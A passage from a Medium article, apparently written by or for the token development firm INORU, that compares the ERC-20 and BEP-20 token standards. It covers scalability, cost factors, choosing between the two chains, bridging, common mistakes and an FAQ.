• Contract architecture
• Secure implementation
• Unit testing
• Integration testing
• Static analysis
• Access-control review
• Supply mechanism review
• Testnet deployment
• Contract verification
• Independent smart contract audit
• Mainnet deployment
• Post-launch monitoring

Using established libraries can reduce unnecessary implementation risk. OpenZeppelin provides reusable ERC-20 contracts and security-oriented utilities such as SafeERC20, along with extensions for burning, pausing, capped supply, permits, voting, and other functionality.

The same principle applies to BEP-20 development: developers should avoid copying unverified token contracts and should carefully review every custom feature.

ERC-20 vs BEP-20: Which Is More Scalable?

Scalability should not be evaluated solely by asking which token standard is faster.

The token standard is essentially an interface. The underlying blockchain, execution environment, application architecture, scaling solution, smart contract complexity, and transaction patterns determine the actual performance characteristics.

For a project that expects substantial transaction volume, consider:

• Expected daily transactions
• Peak transaction volume
• Average transaction complexity
• Gas requirements
• Network congestion
• User geography
• Liquidity requirements
• DEX integrations
• Layer 2 options
• Cross-chain requirements

For some projects, Ethereum plus an appropriate Layer 2 can be more suitable than Ethereum mainnet alone. For others, BNB Smart Chain may provide the desired balance of cost, speed, and ecosystem accessibility.

ERC-20 vs BEP-20: Development Cost

There is no universal fixed price for ERC-20 or BEP-20 token development.

A basic token contract can be relatively straightforward, but production-grade token development can become significantly more complex when additional features are required.

Development costs can depend on:

• Token complexity
• Smart contract architecture
• Tokenomics
• Minting and burning mechanisms
• Vesting
• Staking
• Governance
• Pausing mechanisms
• Transaction taxes
• Anti-whale mechanisms
• Multisignature administration
• Upgradeability
• DEX integration
• Wallet integration
• Backend development
• Frontend development
• Smart contract auditing
• Deployment
• Post-launch maintenance

Therefore, a professional crypto token development company should estimate the project based on its functional and security requirements instead of quoting a generic price for ERC-20 or BEP-20 development.

ERC-20 vs BEP-20: Which One Should Your Business Choose?

Use the following decision framework.

Choose ERC-20 when:

• Ethereum is your primary ecosystem.
• You need extensive Ethereum DeFi integrations.
• Your target users already operate on Ethereum.
• You want to build around Ethereum-native infrastructure.
• Ethereum liquidity and ecosystem connectivity are strategic priorities.
• You plan to integrate deeply with Ethereum-based applications.

Choose BEP-20 when:

• BNB Smart Chain is your target ecosystem.
• Transaction cost is a major consideration.
• Your application requires frequent transactions.
• You want an EVM-compatible development environment.
• Your users are already active on BNB Smart Chain.
• Your DEX and DeFi strategy is primarily BNB Chain-based.

Consider both when:

• Your project needs multichain liquidity.
• You want to reach Ethereum and BNB Chain users.
• Your business model supports multiple ecosystems.
• Cross-chain infrastructure is part of your roadmap.

In that situation, the question becomes less about ERC-20 vs BEP-20 and more about designing a secure multichain token architecture.

Can You Convert an ERC-20 Token Into a BEP-20 Token?

Not directly.

ERC-20 and BEP-20 refer to token standards associated with different blockchain environments. A project can deploy compatible token contracts on multiple EVM networks, but that does not mean the original token has simply been converted.

Cross-chain representations typically require bridge, lock-and-mint, burn-and-mint, or other interoperability mechanisms.

This introduces additional security considerations.

A multichain token architecture should clearly define:

• Where the canonical supply exists
• How tokens are minted
• How tokens are burned
• How cross-chain transfers are validated
• Who controls bridge contracts
• How supply remains synchronized
• What happens during a bridge failure

Cross-chain functionality should therefore be designed as part of the architecture rather than added as an afterthought.

Common Mistakes When Choosing Between ERC-20 and BEP-20

Choosing Based Only on Gas Fees

Low transaction fees can be attractive, but cost is only one factor. Liquidity, ecosystem integrations, users, security, and long-term product strategy also matter.

Copying an Existing Token Contract

A token contract found online may contain unnecessary privileges, hidden logic, outdated dependencies, or security weaknesses.

Ignoring Tokenomics

The token standard does not create a sustainable economy. Supply, allocation, vesting, emissions, liquidity, utility, and incentives must be designed separately.

Assuming Standardization Means Security

Following ERC-20 or BEP-20 does not guarantee that custom contract logic is safe.

Ignoring Administrative Controls

Minting, pausing, ownership, upgradeability, and treasury permissions can create significant risks if they are poorly designed.

Planning Exchange Listing Too Late

Technical token compatibility does not guarantee exchange listing. Listing requirements should be considered during the project’s broader launch strategy.

ERC-20 vs BEP-20: Frequently Asked Questions

Is ERC-20 better than BEP-20?

Neither is universally better. ERC-20 is often preferable for Ethereum-centered projects, while BEP-20 can be attractive for applications focused on BNB Smart Chain and cost-efficient transactions.

Is BEP-20 based on ERC-20?

Yes. The official BEP-20 specification describes the standard as being derived from ERC-20 while extending it for BNB Smart Chain functionality.

Is ERC-20 more secure than BEP-20?

Security depends primarily on the smart contract implementation, development practices, permissions, testing, and auditing. Following the standard does not automatically make a token secure.

Which is cheaper, ERC-20 or BEP-20?

BEP-20 is generally associated with lower transaction costs on BNB Smart Chain, but actual costs vary with network conditions and transaction complexity. BNB Chain itself identifies low fees as one of its network advantages.

Can an ERC-20 token work on BNB Smart Chain?

An ERC-20 token deployed on Ethereum does not automatically operate as a native BEP-20 token on BNB Smart Chain. A separate deployment or interoperability mechanism is required.

Can a BEP-20 token work on Ethereum?

A BEP-20 token does not automatically become an Ethereum ERC-20 token. Cross-chain deployment or bridging architecture is required.

Which token standard is best for a new crypto project?

The best standard depends on the project’s target blockchain, users, liquidity strategy, transaction requirements, DeFi integrations, security model, and long-term roadmap.

Final Verdict: ERC-20 or BEP-20?

The ERC-20 vs BEP-20 decision should not be reduced to a simple winner.

ERC-20 is the stronger choice when Ethereum’s ecosystem, liquidity, interoperability, and application integrations are the primary priorities.

BEP-20 is the stronger choice when BNB Smart Chain’s ecosystem, EVM compatibility, transaction economics, and fast execution align with the project’s requirements.

For businesses planning a serious token launch, the right approach is to evaluate the entire ecosystem rather than selecting a standard based on popularity or transaction fees alone.

A professional token development strategy should begin with the business model, token utility, tokenomics, target users, regulatory requirements, blockchain architecture, security requirements, liquidity strategy, and future scalability. The token standard should then be selected to support those objectives.

At INORU, a crypto token development strategy can be structured around the project’s specific requirements, including token architecture, smart contract development, tokenomics implementation, blockchain deployment, security testing, DEX integration, wallet compatibility, and post-launch support.

The most important principle is simple: choose the blockchain and token standard that best supports the long-term utility and ecosystem of your token, not simply the one with the lowest initial deployment cost.

ERC-20 vs BEP-20: Which Is Better for Token Development? was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story.